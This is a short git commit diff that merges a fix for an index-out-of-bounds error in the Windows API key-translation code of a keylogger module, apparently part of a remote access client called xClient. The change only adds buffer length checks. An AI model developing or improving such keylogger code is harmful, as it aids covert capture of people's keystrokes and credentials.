Merge pull request #192 from d3agle/dev

IndexOutOfBoundsException fix
This commit is contained in:
MaxXor 2015-05-25 11:43:25 +02:00
commit cc5e36d2d3
1 changed files with 4 additions and 2 deletions

View File

@ -102,12 +102,14 @@ namespace xClient.Core.Keylogger.WinApi
break;
case 1:
chars = new[] { pwszBuff[0] };
if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] };
else chars = null;
break;
// Two or more (only two of them is relevant)
default:
chars = new[] { pwszBuff[0], pwszBuff[1] };
if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] };
else chars = new[] { pwszBuff[0] };
break;
}